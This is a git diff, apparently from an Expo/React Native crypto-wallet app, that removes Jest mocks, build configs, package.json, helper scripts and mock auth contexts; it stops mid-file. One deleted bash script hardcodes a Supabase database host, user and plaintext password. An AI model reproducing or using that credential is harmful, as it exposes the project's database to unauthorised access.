useSafeAreaFrame: () => ({ x: 0, y: 0, width: 390, height: 844 }),
initialWindowMetrics: { insets, frame: { x: 0, y: 0, width: 390, height: 844 } },
};
});
// Mock expo modules
jest.mock('expo-linear-gradient', () => ({
LinearGradient: 'LinearGradient',
}));
// Mock react-native-webview
jest.mock('react-native-webview', () => ({
WebView: 'WebView',
WebViewMessageEvent: {},
}));
jest.mock('expo-secure-store', () => ({
setItemAsync: jest.fn(() => Promise.resolve()),
getItemAsync: jest.fn(() => Promise.resolve(null)),
deleteItemAsync: jest.fn(() => Promise.resolve()),
}));
jest.mock('expo-local-authentication', () => ({
authenticateAsync: jest.fn(() =>
Promise.resolve({ success: true })
),
hasHardwareAsync: jest.fn(() => Promise.resolve(true)),
isEnrolledAsync: jest.fn(() => Promise.resolve(true)),
supportedAuthenticationTypesAsync: jest.fn(() => Promise.resolve([1])), // 1 = FINGERPRINT
AuthenticationType: {
FINGERPRINT: 1,
FACIAL_RECOGNITION: 2,
IRIS: 3,
},
}));
// Mock AsyncStorage
jest.mock('@react-native-async-storage/async-storage', () =>
require('@react-native-async-storage/async-storage/jest/async-storage-mock')
);
// Mock Polkadot.js (virtual: true because package may not be installed in CI)
jest.mock('@polkadot/api', () => ({
ApiPromise: {
create: jest.fn(() =>
Promise.resolve({
isReady: Promise.resolve(true),
query: {},
tx: {},
rpc: {},
disconnect: jest.fn(),
})
),
},
WsProvider: jest.fn(),
}), { virtual: true });
// Mock @pezkuwi packages (aliases for @polkadot packages)
jest.mock('@pezkuwi/api', () => ({
ApiPromise: {
create: jest.fn(() =>
Promise.resolve({
isReady: Promise.resolve(true),
query: {
treasury: {
treasury: jest.fn(() => Promise.resolve({ toString: () => '1000000000000000' })),
proposals: {
entries: jest.fn(() => Promise.resolve([])),
},
},
democracy: {
referendumInfoOf: {
entries: jest.fn(() => Promise.resolve([])),
},
},
dynamicCommissionCollective: {
proposals: jest.fn(() => Promise.resolve([])),
voting: jest.fn(() => Promise.resolve({ isSome: false })),
},
},
tx: {},
rpc: {},
disconnect: jest.fn(),
})
),
},
WsProvider: jest.fn(),
}), { virtual: true });
jest.mock('@pezkuwi/keyring', () => ({
Keyring: jest.fn().mockImplementation(() => ({
addFromUri: jest.fn((mnemonic, meta, type) => ({
address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY',
meta: meta || {},
type: type || 'sr25519',
publicKey: new Uint8Array(32),
sign: jest.fn(),
verify: jest.fn(),
})),
addFromMnemonic: jest.fn((mnemonic, meta, type) => ({
address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY',
meta: meta || {},
type: type || 'sr25519',
publicKey: new Uint8Array(32),
sign: jest.fn(),
verify: jest.fn(),
})),
getPairs: jest.fn(() => []),
getPair: jest.fn((address) => ({
address: address,
meta: {},
type: 'sr25519',
publicKey: new Uint8Array(32),
sign: jest.fn(),
verify: jest.fn(),
})),
})),
}), { virtual: true });
jest.mock('@pezkuwi/util-crypto', () => ({
cryptoWaitReady: jest.fn(() => Promise.resolve(true)),
mnemonicGenerate: jest.fn(() => 'test test test test test test test test test test test junk'),
mnemonicValidate: jest.fn(() => true),
}), { virtual: true });
// Mock shared lib modules (they use @pezkuwi/api which is not available in CI)
jest.mock('../shared/lib/tiki', () => ({
Tiki: {
Welati: 'Welati',
Parlementer: 'Parlementer',
Serok: 'Serok',
},
RoleAssignmentType: {},
TIKI_DISPLAY_NAMES: {},
TIKI_SCORES: {},
ROLE_CATEGORIES: {},
fetchUserTikis: jest.fn(() => Promise.resolve([])),
isCitizen: jest.fn(() => Promise.resolve(false)),
calculateTikiScore: jest.fn(() => 0),
getPrimaryRole: jest.fn(() => 'Welati'),
getTikiDisplayName: jest.fn((tiki) => tiki),
getUserRoleCategories: jest.fn(() => []),
hasTiki: jest.fn(() => false),
getTikiColor: jest.fn(() => '#22C55E'),
getTikiEmoji: jest.fn(() => '👤'),
getTikiBadgeVariant: jest.fn(() => 'default'),
fetchUserTikiNFTs: jest.fn(() => Promise.resolve([])),
getCitizenNFTDetails: jest.fn(() => Promise.resolve(null)),
getAllTikiNFTDetails: jest.fn(() => Promise.resolve([])),
generateCitizenNumber: jest.fn(() => 'CIT-001'),
}), { virtual: true });
jest.mock('../shared/lib/referral', () => ({
initiateReferral: jest.fn(() => Promise.resolve()),
getPendingReferral: jest.fn(() => Promise.resolve(null)),
getReferralCount: jest.fn(() => Promise.resolve(0)),
getReferralInfo: jest.fn(() => Promise.resolve(null)),
calculateReferralScore: jest.fn(() => 0),
getReferralStats: jest.fn(() => Promise.resolve({ totalReferred: 0, pendingCount: 0, confirmedCount: 0 })),
getMyReferrals: jest.fn(() => Promise.resolve([])),
subscribeToReferralEvents: jest.fn(() => jest.fn()),
}), { virtual: true });
jest.mock('../shared/lib/scores', () => ({
getTrustScore: jest.fn(() => Promise.resolve(0)),
getTrustScoreDetails: jest.fn(() => Promise.resolve(null)),
getReferralScore: jest.fn(() => Promise.resolve(0)),
getReferralCount: jest.fn(() => Promise.resolve(0)),
getStakingScoreFromPallet: jest.fn(() => Promise.resolve(0)),
getTikiScore: jest.fn(() => Promise.resolve(0)),
getAllScores: jest.fn(() => Promise.resolve({
trustScore: 0,
referralScore: 0,
stakingScore: 0,
tikiScore: 0,
totalScore: 0,
})),
getScoreColor: jest.fn(() => '#22C55E'),
getScoreRating: jest.fn(() => 'Good'),
formatScore: jest.fn((score) => String(score)),
}), { virtual: true });
// Mock Supabase
jest.mock('./src/lib/supabase', () => ({
supabase: {
auth: {
signInWithPassword: jest.fn(),
signUp: jest.fn(),
signOut: jest.fn(),
getSession: jest.fn(() => Promise.resolve({ data: { session: null }, error: null })),
onAuthStateChange: jest.fn(() => ({
data: {
subscription: {
unsubscribe: jest.fn(),
},
},
})),
},
from: jest.fn(() => ({
select: jest.fn().mockReturnThis(),
insert: jest.fn().mockReturnThis(),
update: jest.fn().mockReturnThis(),
delete: jest.fn().mockReturnThis(),
eq: jest.fn().mockReturnThis(),
order: jest.fn().mockReturnThis(),
single: jest.fn().mockReturnThis(),
})),
},
}));
// Mock shared blockchain utilities
jest.mock('../shared/blockchain', () => ({
PEZKUWI_NETWORK: {
name: 'Pezkuwi',
endpoint: 'wss://rpc.pezkuwichain.io:9944',
chainId: 'pezkuwi',
},
DEFAULT_ENDPOINT: 'ws://127.0.0.1:9944',
getExplorerUrl: jest.fn((txHash) => `https://explorer.pezkuwichain.app/tx/${txHash}`),
}));
// Mock shared DEX utilities
jest.mock('../shared/utils/dex', () => ({
formatTokenBalance: jest.fn((amount, decimals) => '0.00'),
parseTokenInput: jest.fn((input, decimals) => '0'),
calculatePriceImpact: jest.fn(() => '0'),
getAmountOut: jest.fn(() => '0'),
calculateMinAmount: jest.fn((amount, slippage) => '0'),
fetchPools: jest.fn(() => Promise.resolve([])),
fetchUserPositions: jest.fn(() => Promise.resolve([])),
}));
// Mock shared P2P fiat utilities
jest.mock('../shared/lib/p2p-fiat', () => ({
getActiveOffers: jest.fn(() => Promise.resolve([])),
createOffer: jest.fn(() => Promise.resolve({ id: '123' })),
acceptOffer: jest.fn(() => Promise.resolve(true)),
}));
// Mock shared wallet utilities (handles import.meta)
jest.mock('../shared/lib/wallet', () => ({
formatBalance: jest.fn((amount, decimals) => '0.00'),
parseBalance: jest.fn((amount) => '0'),
NETWORK_ENDPOINTS: {
local: 'ws://127.0.0.1:9944',
testnet: 'wss://testnet.pezkuwichain.io',
mainnet: 'wss://mainnet.pezkuwichain.io',
staging: 'wss://staging.pezkuwichain.io',
beta: 'wss://rpc.pezkuwichain.io:9944',
},
}));
// Mock shared staking utilities (handles import.meta)
jest.mock('../shared/lib/staking', () => ({
formatBalance: jest.fn((amount) => '0.00'),
NETWORK_ENDPOINTS: {},
}));
// Mock shared citizenship workflow (handles polkadot/extension-dapp)
jest.mock('../shared/lib/citizenship-workflow', () => ({
createCitizenshipRequest: jest.fn(() => Promise.resolve({ id: '123' })),
}));
// Note: Alert is mocked in individual test files where needed
// Silence console warnings in tests
global.console = {
...console,
warn: jest.fn(),
error: jest.fn(),
};
-65
View File
@@ -1,65 +0,0 @@
// Learn more https://docs.expo.io/guides/customizing-metro
const { getDefaultConfig } = require('expo/metro-config');
const path = require('path');
/** @type {import('expo/metro-config').MetroConfig} */
const config = getDefaultConfig(__dirname);
// ============================================
// WORKSPACE CONFIGURATION
// ============================================
const projectRoot = __dirname;
const workspaceRoot = path.resolve(projectRoot, '..');
// Watch folders - include shared directory for cross-project imports
config.watchFolders = [workspaceRoot];
// Tell Metro where to resolve packages (both project and workspace node_modules)
config.resolver.nodeModulesPaths = [
path.resolve(projectRoot, 'node_modules'),
path.resolve(workspaceRoot, 'node_modules'),
];
// ============================================
// CUSTOM MODULE RESOLUTION
// ============================================
// Note: @pezkuwi packages have incorrect main field in npm (cjs/build/cjs/index.js)
// This is automatically fixed by scripts/fix-pezkuwi-packages.cjs via postinstall hook
// ============================================
// FILE EXTENSIONS
// ============================================
// Extend default extensions instead of replacing them
config.resolver.sourceExts = [
...config.resolver.sourceExts,
'expo.ts',
'expo.tsx',
'expo.js',
'expo.jsx',
'wasm',
];
// SVG should be handled as source file for react-native-svg transformer
// Remove svg from assetExts if present, add to sourceExts
config.resolver.assetExts = config.resolver.assetExts.filter(ext => ext !== 'svg');
if (!config.resolver.sourceExts.includes('svg')) {
config.resolver.sourceExts.push('svg');
}
// ============================================
// NODE POLYFILLS
// ============================================
// Polyfills will be resolved from project's own node_modules
// ============================================
// PACKAGE EXPORTS RESOLUTION
// ============================================
// Disable strict package exports checking for packages like @noble/hashes
// that don't properly export all their submodules
config.resolver.unstable_enablePackageExports = false;
module.exports = config;
-4
View File
@@ -1,4 +0,0 @@
#!/bin/bash
# Wrapper to run node with Yarn PnP support
cd /home/mamostehp/pwap/mobile
exec yarn node "$@"
-19882
View File
File diff suppressed because it is too large Load Diff
-138
View File
@@ -1,138 +0,0 @@
{
"name": "mobile",
"version": "1.0.0",
"type": "module",
"main": "index.ts",
"scripts": {
"postinstall": "node scripts/fix-pezkuwi-packages.cjs",
"start": "expo start",
"dev": "cp .env.development .env && expo start --clear",
"dev:tunnel": "cp .env.development .env && expo start --tunnel --clear",
"dev:android": "cp .env.development .env && expo run:android",
"dev:ios": "cp .env.development .env && expo run:ios",
"dev:web": "cp .env.development .env && expo start --web",
"prod": "cp .env.production .env && expo start --no-dev --minify",
"build:dev": "cp .env.development .env && eas build --profile development",
"build:preview": "cp .env.production .env && eas build --profile preview",
"build:prod": "cp .env.production .env && eas build --profile production",
"build:en": "EXPO_PUBLIC_DEFAULT_LANGUAGE=en eas build --platform android --profile production",
"build:tr": "EXPO_PUBLIC_DEFAULT_LANGUAGE=tr eas build --platform android --profile production",
"build:kmr": "EXPO_PUBLIC_DEFAULT_LANGUAGE=kmr eas build --platform android --profile production",
"build:ckb": "EXPO_PUBLIC_DEFAULT_LANGUAGE=ckb eas build --platform android --profile production",
"build:ar": "EXPO_PUBLIC_DEFAULT_LANGUAGE=ar eas build --platform android --profile production",
"build:fa": "EXPO_PUBLIC_DEFAULT_LANGUAGE=fa eas build --platform android --profile production",
"build:all": "npm run build:en && npm run build:tr && npm run build:kmr && npm run build:ckb && npm run build:ar && npm run build:fa",
"android": "expo run:android",
"ios": "expo run:ios",
"web": "expo start --web",
"test": "jest",
"test:watch": "jest --watch",
"test:coverage": "jest --coverage",
"lint": "eslint .",
"lint:fix": "eslint . --fix",
"release": "standard-version",
"release:patch": "standard-version --release-as patch",
"release:minor": "standard-version --release-as minor",
"release:major": "standard-version --release-as major",
"release:dry-run": "standard-version --dry-run"
},
"dependencies": {
"@babel/runtime": "^7.28.4",
"@pezkuwi/api": "^16.5.36",
"@pezkuwi/keyring": "^14.0.25",
"@pezkuwi/types": "^16.5.36",
"@pezkuwi/util": "^14.0.25",
"@pezkuwi/util-crypto": "^14.0.25",
"@react-native-async-storage/async-storage": "^2.2.0",
"@react-native-picker/picker": "^2.11.4",
"@react-navigation/bottom-tabs": "^7.8.5",
"@react-navigation/native": "^7.1.20",
"@react-navigation/stack": "^7.6.4",
"@supabase/supabase-js": "^2.90.1",
"buffer": "^6.0.3",
"concat-map": "^0.0.2",
"expo": "~54.0.23",
"expo-camera": "~17.0.10",
"expo-image-picker": "~17.0.10",
"expo-linear-gradient": "^15.0.7",
"expo-local-authentication": "^17.0.7",
"expo-secure-store": "^15.0.7",
"expo-status-bar": "~3.0.8",
"i18next": "^25.6.2",
"invariant": "^2.2.4",
"metro-runtime": "^0.81.0",
"react": "19.1.0",
"react-dom": "19.1.0",
"react-i18next": "^16.3.3",
"react-native": "0.81.5",
"react-native-gesture-handler": "~2.28.0",
"react-native-get-random-values": "~1.11.0",
"react-native-qrcode-svg": "^6.3.11",
"react-native-safe-area-context": "^5.6.2",
"react-native-screens": "~4.16.0",
"react-native-svg": "^15.15.1",
"react-native-url-polyfill": "^3.0.0",
"react-native-vector-icons": "^10.3.0",
"react-native-web": "^0.21.0",
"react-native-webview": "13.15.0",
"react-refresh": "^0.14.2",
"text-encoding": "^0.7.0"
},
"overrides": {
"react-test-renderer": "19.1.0",
"@pezkuwi/api-augment": "^16.5.36",
"@pezkuwi/api-base": "^16.5.36",
"@pezkuwi/api-derive": "^16.5.36",
"@pezkuwi/rpc-augment": "^16.5.36",
"@pezkuwi/rpc-core": "^16.5.36",
"@pezkuwi/rpc-provider": "^16.5.36",
"@pezkuwi/types": "^16.5.36",
"@pezkuwi/types-augment": "^16.5.36",
"@pezkuwi/types-codec": "^16.5.36",
"@pezkuwi/types-create": "^16.5.36",
"@pezkuwi/types-known": "^16.5.36",
"@pezkuwi/networks": "^14.0.25",
"@pezkuwi/keyring": "^14.0.25",
"@pezkuwi/util": "^14.0.25",
"@pezkuwi/util-crypto": "^14.0.25",
"@isaacs/brace-expansion": "5.0.1",
"fast-xml-parser": "^5.3.6"
},
"devDependencies": {
"@babel/plugin-transform-class-static-block": "^7.28.6",
"@expo/ngrok": "^4.1.0",
"@pezkuwi/extension-dapp": "^0.62.20",
"@pezkuwi/extension-inject": "^0.62.20",
"@react-native-community/cli": "^20.1.0",
"@react-native/metro-config": "^0.83.1",
"@testing-library/jest-native": "^5.4.3",
"@testing-library/react-native": "^13.3.3",
"@types/invariant": "^2",
"@types/jest": "^29.5.12",
"@types/react": "~19.1.10",
"@types/text-encoding": "^0",
"@typescript-eslint/eslint-plugin": "^8.47.0",
"@typescript-eslint/parser": "^8.47.0",
"babel-preset-expo": "~54.0.9",
"eslint": "^9.39.1",
"eslint-plugin-react": "^7.37.5",
"eslint-plugin-react-hooks": "^7.0.1",
"eslint-plugin-react-native": "^5.0.0",
"globals": "^16.5.0",
"jest": "^29.7.0",
"jest-expo": "^54.0.16",
"react-native": "^0.83.1",
"react-test-renderer": "19.1.0",
"standard-version": "^9.5.0",
"typescript": "~5.9.2",
"typescript-eslint": "^8.47.0"
},
"private": true,
"expo": {
"install": {
"exclude": [
"@types/react"
]
}
}
}
-71
View File
@@ -1,71 +0,0 @@
#!/bin/bash
# Supabase Database Connection
DB_HOST="db.vsyrpfiwhjvahofxwytr.supabase.co"
DB_PORT="5432"
DB_NAME="postgres"
DB_USER="postgres"
DB_PASS="SqM210305yBkB@#nm90"
CONNECTION_STRING="postgresql://${DB_USER}:${DB_PASS}@${DB_HOST}:${DB_PORT}/${DB_NAME}"
echo "======================================================================"
echo "🚀 Executing SQL Scripts on Supabase"
echo "======================================================================"
# Check if psql is available
if ! command -v psql &> /dev/null; then
echo ""
echo "❌ psql not found. Installing PostgreSQL client..."
echo ""
# Try to install psql
if command -v apt-get &> /dev/null; then
sudo apt-get update && sudo apt-get install -y postgresql-client
elif command -v yum &> /dev/null; then
sudo yum install -y postgresql
else
echo "❌ Cannot install PostgreSQL client automatically"
echo ""
echo "📋 Manual Setup Required:"
echo " Go to: https://app.supabase.com/project/vsyrpfiwhjvahofxwytr/sql"
echo " Run the SQL from: QUICK_SETUP_GUIDE.md"
echo ""
exit 1
fi
fi
echo ""
echo "📝 Step 1: Fixing schema compatibility..."
echo "======================================================================"
psql "${CONNECTION_STRING}" -f FIX_SCHEMA_COMPATIBILITY.sql
if [ $? -eq 0 ]; then
echo "✅ Schema compatibility fix completed!"
else
echo "❌ Error in schema fix"
exit 1
fi
echo ""
echo "📝 Step 2: Creating missing tables..."
echo "======================================================================"
psql "${CONNECTION_STRING}" -f SUPABASE_SCHEMA.sql
if [ $? -eq 0 ]; then
echo "✅ Table creation completed!"
else
echo "❌ Error in table creation"
exit 1
fi
echo ""
echo "======================================================================"
echo "🎉 ALL SQL SCRIPTS EXECUTED SUCCESSFULLY!"
echo "======================================================================"
echo ""
echo "📝 Next step: Verify schema compatibility"
echo " node check_schema_compatibility.cjs"
echo ""
-195
View File
@@ -1,195 +0,0 @@
#!/usr/bin/env node
/**
* Postinstall script to fix @pezkuwi packages with incorrect main field paths
*
* Problem: Some @pezkuwi packages have package.json paths that don't match
* their actual file structure. This causes Metro bundler to fail.
*
* This script automatically detects and fixes broken paths after npm install.
*
* Examples of fixes:
* - main: "./cjs/build/cjs/index.js" → "./cjs/index.js" (when ./cjs/index.js exists)
*/
const fs = require('fs');
const path = require('path');
// Find all possible node_modules locations
function findNodeModulesPaths() {
const paths = [];
let currentDir = __dirname;
// Walk up the directory tree to find all node_modules
while (currentDir !== path.dirname(currentDir)) {
const nodeModulesPath = path.join(currentDir, 'node_modules');
if (fs.existsSync(nodeModulesPath)) {
paths.push(nodeModulesPath);
}
currentDir = path.dirname(currentDir);
}
return paths;
}
// Find all @pezkuwi packages in a node_modules directory
function findPezkuwiPackages(nodeModulesPath) {
const pezkuwiDir = path.join(nodeModulesPath, '@pezkuwi');
if (!fs.existsSync(pezkuwiDir)) {
return [];
}
const packages = [];
try {
const entries = fs.readdirSync(pezkuwiDir, { withFileTypes: true });
for (const entry of entries) {
if (entry.isDirectory()) {
const packageDir = path.join(pezkuwiDir, entry.name);
const packageJsonPath = path.join(packageDir, 'package.json');
if (fs.existsSync(packageJsonPath)) {
packages.push({ dir: packageDir, packageJson: packageJsonPath });
}
}
}
} catch (err) {
console.warn(`Warning: Could not read ${pezkuwiDir}: ${err.message}`);
}
return packages;
}
// Check if a file path is valid (exists)
function fileExists(packageDir, relativePath) {
if (!relativePath) return false;
const fullPath = path.join(packageDir, relativePath);
return fs.existsSync(fullPath);
}
// Try to find the correct path for a broken reference
function findCorrectPath(packageDir, brokenPath) {
if (!brokenPath) return null;
// Pattern: "./cjs/build/cjs/index.js" should be "./cjs/index.js"
if (brokenPath.includes('/build/cjs/')) {
const fixedPath = brokenPath.replace('/build/cjs/', '/');
if (fileExists(packageDir, fixedPath)) {
return fixedPath;
}
}
// Pattern: "./build/cjs/index.js" might need to be "./cjs/index.js"
// But only if ./build/cjs/index.js doesn't exist
if (brokenPath.startsWith('./build/cjs/') && !fileExists(packageDir, brokenPath)) {
const fixedPath = brokenPath.replace('./build/cjs/', './cjs/');
if (fileExists(packageDir, fixedPath)) {
return fixedPath;
}
}
return null;
}
// Fix a single package.json file
function fixPackageJson({ dir, packageJson }) {
let content;
try {
content = fs.readFileSync(packageJson, 'utf8');
} catch (err) {
console.warn(`Warning: Could not read ${packageJson}: ${err.message}`);
return { fixed: false, details: [] };
}
let pkg;
try {
pkg = JSON.parse(content);
} catch (err) {
console.warn(`Warning: Could not parse ${packageJson}: ${err.message}`);
return { fixed: false, details: [] };
}
const fixes = [];
// Check main field
if (pkg.main && !fileExists(dir, pkg.main)) {
const correctPath = findCorrectPath(dir, pkg.main);
if (correctPath) {
fixes.push({ field: 'main', from: pkg.main, to: correctPath });
pkg.main = correctPath;
}
}
// Check module field
if (pkg.module && !fileExists(dir, pkg.module)) {
const correctPath = findCorrectPath(dir, pkg.module);
if (correctPath) {
fixes.push({ field: 'module', from: pkg.module, to: correctPath });
pkg.module = correctPath;
}
}
// Check types field
if (pkg.types && !fileExists(dir, pkg.types)) {
// For types, try the same patterns
let correctPath = findCorrectPath(dir, pkg.types);
// Also try replacing .d.ts patterns
if (!correctPath && pkg.types.includes('/build/cjs/')) {
const fixedPath = pkg.types.replace('/build/cjs/', '/');
if (fileExists(dir, fixedPath)) {
correctPath = fixedPath;
}
}
if (correctPath) {
fixes.push({ field: 'types', from: pkg.types, to: correctPath });
pkg.types = correctPath;
}
}
if (fixes.length > 0) {
try {
fs.writeFileSync(packageJson, JSON.stringify(pkg, null, 2) + '\n', 'utf8');
return { fixed: true, details: fixes };
} catch (err) {
console.error(`Error: Could not write ${packageJson}: ${err.message}`);
return { fixed: false, details: [] };
}
}
return { fixed: false, details: [] };
}
// Main function
function main() {
console.log('--- @pezkuwi Package Path Fixer ---');
const nodeModulesPaths = findNodeModulesPaths();
if (nodeModulesPaths.length === 0) {
console.log('No node_modules directories found.');
return;
}
console.log(`Found ${nodeModulesPaths.length} node_modules location(s)`);
let totalFixed = 0;
let totalChecked = 0;
for (const nodeModulesPath of nodeModulesPaths) {
const packages = findPezkuwiPackages(nodeModulesPath);
for (const pkg of packages) {
totalChecked++;
const result = fixPackageJson(pkg);
if (result.fixed) {
const relativePath = path.relative(process.cwd(), pkg.packageJson);
console.log(` Fixed: ${relativePath}`);
for (const detail of result.details) {
console.log(` ${detail.field}: ${detail.from}${detail.to}`);
}
totalFixed++;
}
}
}
console.log(`\nChecked ${totalChecked} @pezkuwi packages, fixed ${totalFixed}`);
console.log('--- Done ---\n');
}
main();
-31
View File
@@ -1,31 +0,0 @@
/**
* Reset Wallet Script
*
* Clears all wallet data from AsyncStorage for testing purposes.
* Run with: node scripts/reset-wallet.js
*
* Note: This only works in development. For the actual app,
* you need to clear the app data or use the in-app reset.
*/
console.log('='.repeat(50));
console.log('WALLET RESET INSTRUCTIONS');
console.log('='.repeat(50));
console.log('');
console.log('To reset wallet data in the app, do ONE of these:');
console.log('');
console.log('1. Clear App Data (Easiest):');
console.log(' - iOS Simulator: Device > Erase All Content and Settings');
console.log(' - Android: Settings > Apps > Pezkuwi > Clear Data');
console.log(' - Expo Go: Shake device > Clear AsyncStorage');
console.log('');
console.log('2. In Expo Go, run this in the console:');
console.log(' AsyncStorage.multiRemove([');
console.log(' "@pezkuwi_wallets",');
console.log(' "@pezkuwi_selected_account",');
console.log(' "@pezkuwi_selected_network"');
console.log(' ])');
console.log('');
console.log('3. Add temp reset button (already added to Settings)');
console.log('');
console.log('='.repeat(50));
-39
View File
@@ -1,39 +0,0 @@
/**
* Custom version updater for app.json
* Used by standard-version to update Expo app.json version fields
*/
const fs = require('fs');
const path = require('path');
const APP_JSON_PATH = path.join(__dirname, '..', 'app.json');
module.exports.readVersion = function (contents) {
const appJson = JSON.parse(contents);
return appJson.expo.version;
};
module.exports.writeVersion = function (contents, version) {
const appJson = JSON.parse(contents);
// Update expo.version
appJson.expo.version = version;
// Auto-increment build numbers for iOS and Android
const versionParts = version.split('.');
const buildNumber = parseInt(versionParts[0]) * 10000 +
parseInt(versionParts[1]) * 100 +
parseInt(versionParts[2]);
// Update iOS buildNumber
if (appJson.expo.ios) {
appJson.expo.ios.buildNumber = String(buildNumber);
}
// Update Android versionCode
if (appJson.expo.android) {
appJson.expo.android.versionCode = buildNumber;
}
return JSON.stringify(appJson, null, 2) + '\n';
};
-1
View File
@@ -1 +0,0 @@
../shared
@@ -1,42 +0,0 @@
// Mock AsyncStorage for testing
const storage: { [key: string]: string } = {};
export default {
setItem: jest.fn((key: string, value: string) => {
storage[key] = value;
return Promise.resolve();
}),
getItem: jest.fn((key: string) => {
return Promise.resolve(storage[key] || null);
}),
removeItem: jest.fn((key: string) => {
delete storage[key];
return Promise.resolve();
}),
clear: jest.fn(() => {
Object.keys(storage).forEach(key => delete storage[key]);
return Promise.resolve();
}),
getAllKeys: jest.fn(() => {
return Promise.resolve(Object.keys(storage));
}),
multiGet: jest.fn((keys: string[]) => {
return Promise.resolve(
keys.map(key => [key, storage[key] || null])
);
}),
multiSet: jest.fn((keyValuePairs: [string, string][]) => {
keyValuePairs.forEach(([key, value]) => {
storage[key] = value;
});
return Promise.resolve();
}),
multiRemove: jest.fn((keys: string[]) => {
keys.forEach(key => delete storage[key]);
return Promise.resolve();
}),
_clear: () => {
Object.keys(storage).forEach(key => delete storage[key]);
},
_getStorage: () => storage,
};
@@ -1,51 +0,0 @@
import React, { createContext, useContext, ReactNode } from 'react';
import { User, Session, AuthError } from '@supabase/supabase-js';
// Mock Auth Context for testing
interface AuthContextType {
user: User | null;
session: Session | null;
loading: boolean;
signIn: (email: string, password: string) => Promise<{ error: AuthError | null }>;
signUp: (email: string, password: string, fullName: string) => Promise<{ error: AuthError | null }>;
signOut: () => Promise<void>;
changePassword: (newPassword: string, currentPassword: string) => Promise<{ error: AuthError | null }>;
resetPassword: (email: string) => Promise<{ error: AuthError | null }>;
}
const mockUser: User = {
id: 'test-user-id',
email: 'test@pezkuwichain.io',
app_metadata: {},
user_metadata: {},
aud: 'authenticated',
created_at: new Date().toISOString(),
};
export const mockAuthContext: AuthContextType = {
user: mockUser,
session: null,
loading: false,
signIn: jest.fn().mockResolvedValue({ error: null }),
signUp: jest.fn().mockResolvedValue({ error: null }),
signOut: jest.fn().mockResolvedValue(undefined),
changePassword: jest.fn().mockResolvedValue({ error: null }),
resetPassword: jest.fn().mockResolvedValue({ error: null }),
};
const AuthContext = createContext<AuthContextType>(mockAuthContext);
export const MockAuthProvider: React.FC<{
children: ReactNode;
value?: Partial<AuthContextType>
}> = ({ children, value = {} }) => {
const contextValue = { ...mockAuthContext, ...value };
return <AuthContext.Provider value={contextValue}>{children}</AuthContext.Provider>;
};
// Export as AuthProvider for compatibility with test imports
export const AuthProvider = MockAuthProvider;
export const useAuth = () => useContext(AuthContext);
export default AuthContext;
@@ -1,57 +0,0 @@
import React, { createContext, useContext, ReactNode } from 'react';
// Mock Biometric Auth Context for testing
interface BiometricAuthContextType {
isBiometricSupported: boolean;
isBiometricEnrolled: boolean;
isBiometricAvailable: boolean;
biometricType: 'fingerprint' | 'facial' | 'iris' | 'none';
isBiometricEnabled: boolean;
isLocked: boolean;
autoLockTimer: number;
authenticate: () => Promise<boolean>;
enableBiometric: () => Promise<boolean>;
disableBiometric: () => Promise<void>;
setPinCode: (pin: string) => Promise<void>;
verifyPinCode: (pin: string) => Promise<boolean>;
setAutoLockTimer: (minutes: number) => Promise<void>;
lock: () => void;
unlock: () => void;
checkAutoLock: () => Promise<void>;
}
export const mockBiometricContext: BiometricAuthContextType = {
isBiometricSupported: true,
isBiometricEnrolled: true,
isBiometricAvailable: true,
biometricType: 'fingerprint',
isBiometricEnabled: false,
isLocked: false,
autoLockTimer: 5,
authenticate: jest.fn().mockResolvedValue(true),
enableBiometric: jest.fn().mockResolvedValue(true),
disableBiometric: jest.fn().mockResolvedValue(undefined),
setPinCode: jest.fn().mockResolvedValue(undefined),
verifyPinCode: jest.fn().mockResolvedValue(true),
setAutoLockTimer: jest.fn().mockResolvedValue(undefined),
lock: jest.fn(),
unlock: jest.fn(),
checkAutoLock: jest.fn().mockResolvedValue(undefined),
};
const BiometricAuthContext = createContext<BiometricAuthContextType>(mockBiometricContext);
export const MockBiometricAuthProvider: React.FC<{
children: ReactNode;
value?: Partial<BiometricAuthContextType>
}> = ({ children, value = {} }) => {
const contextValue = { ...mockBiometricContext, ...value };
return <BiometricAuthContext.Provider value={contextValue}>{children}</BiometricAuthContext.Provider>;
};
// Export as BiometricAuthProvider for compatibility with test imports
export const BiometricAuthProvider = MockBiometricAuthProvider;
export const useBiometricAuth = () => useContext(BiometricAuthContext);
export default BiometricAuthContext;
@@ -1,85 +0,0 @@
import React, { createContext, useContext, ReactNode } from 'react';
export const mockPezkuwiContext = {
api: null,
isApiReady: false,
selectedAccount: { address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY', name: 'Test Account' },
accounts: [{ address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY', name: 'Test Account' }],
connectWallet: jest.fn(),
disconnectWallet: jest.fn(),
setSelectedAccount: jest.fn(),
getKeyPair: jest.fn(),
currentNetwork: 'pezkuwi' as const,
switchNetwork: jest.fn(),
endpoint: 'wss://rpc.pezkuwichain.io:9944',
setEndpoint: jest.fn(),
error: null,
};
export const NETWORKS = {
pezkuwi: {
name: 'pezkuwi',
displayName: 'Pezkuwi Mainnet',
rpcEndpoint: 'wss://rpc-mainnet.pezkuwichain.io:9944',
ss58Format: 42,
type: 'mainnet' as const,
},
dicle: {
name: 'dicle',
displayName: 'Dicle Testnet',
rpcEndpoint: 'wss://rpc-dicle.pezkuwichain.io:9944',
ss58Format: 2,
type: 'testnet' as const,
},
zagros: {
name: 'zagros',
displayName: 'Zagros Canary',
rpcEndpoint: 'wss://rpc-zagros.pezkuwichain.io:9944',
ss58Format: 42,
type: 'canary' as const,
},
bizinikiwi: {
name: 'bizinikiwi',
displayName: 'Bizinikiwi Dev',
rpcEndpoint: 'wss://localhost:9944',
ss58Format: 42,
type: 'dev' as const,
},
zombienet: {
name: 'zombienet',
displayName: 'Zombienet Local',
rpcEndpoint: 'wss://localhost:19944',
ss58Format: 42,
type: 'dev' as const,
},
};
const PezkuwiContext = createContext(mockPezkuwiContext);
export const usePezkuwi = () => {
return useContext(PezkuwiContext);
};
export const PezkuwiProvider: React.FC<{ children: ReactNode }> = ({ children }) => {
return (
<PezkuwiContext.Provider value={mockPezkuwiContext}>
{children}
</PezkuwiContext.Provider>
);
};
interface MockPezkuwiProviderProps {
children: ReactNode;
value?: Partial<typeof mockPezkuwiContext>;
}
export const MockPezkuwiProvider: React.FC<MockPezkuwiProviderProps> = ({
children,
value = {},
}) => {
return (
